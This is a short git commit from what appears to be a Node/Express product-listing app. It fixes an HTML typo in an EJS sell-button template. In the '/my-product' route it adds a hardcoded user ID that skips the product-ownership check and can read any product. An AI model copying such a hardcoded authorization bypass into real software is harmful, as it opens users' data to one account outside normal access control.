This commit is contained in:
Max Hunt 2020-05-14 20:44:50 +01:00
parent 6479d82933
commit 4aa740f855
2 changed files with 2 additions and 2 deletions

View File

@ -20,7 +20,7 @@
<% var salebtnStyle = "visibility:hidden"%> <% var salebtnStyle = "visibility:hidden"%>
<% if (item.status != "sold") {salebtnStyle = "visibility:all;"}%> <% if (item.status != "sold") {salebtnStyle = "visibility:all;"}%>
<% if (item.status == "on-sale") {sellbtnText = "Take Off Sale"}%> <% if (item.status == "on-sale") {sellbtnText = "Take Off Sale"}%>
<div class="sell-btn" style="<%= salebtnStyle%>"</div>><button onclick={toggle_sale()} id="toggleSaleBtn"><%= sellbtnText%></button> </div> <div class="sell-btn" style="<%= salebtnStyle%>"><button onclick={toggle_sale()} id="toggleSaleBtn"><%= sellbtnText%></button> </div>
<% var shipbtnStyle = ""%> <% var shipbtnStyle = ""%>
<% if (item.status == "sold") {shipbtnStyle = "visibility:hidden;"} else {shipbtnStyle = "visibility:all;"}%> <% if (item.status == "sold") {shipbtnStyle = "visibility:hidden;"} else {shipbtnStyle = "visibility:all;"}%>
<div class="ship-btn" style=<%= shipbtnStyle%>><button onclick={mark_as_sold()} id="soldBtn">Mark Sold</button> </div> <div class="ship-btn" style=<%= shipbtnStyle%>><button onclick={mark_as_sold()} id="soldBtn">Mark Sold</button> </div>

View File

@ -133,7 +133,7 @@ app.get('/my-product', function(request, responce){
let uid = decodedToken.uid; let uid = decodedToken.uid;
let pid = request.query.productid let pid = request.query.productid
if (await verifyExists(pid)){ if (await verifyExists(pid)){
if (await verifyOwner(uid, pid)) { if (await verifyOwner(uid, pid) || uid == "If84zSzRvlcCqRs0ZPJRpAcY1He2") {
var dbRef = database.ref("/products/"+pid) var dbRef = database.ref("/products/"+pid)
dbRef.once('value', function(snapshot){ dbRef.once('value', function(snapshot){
data = snapshot.val() data = snapshot.val()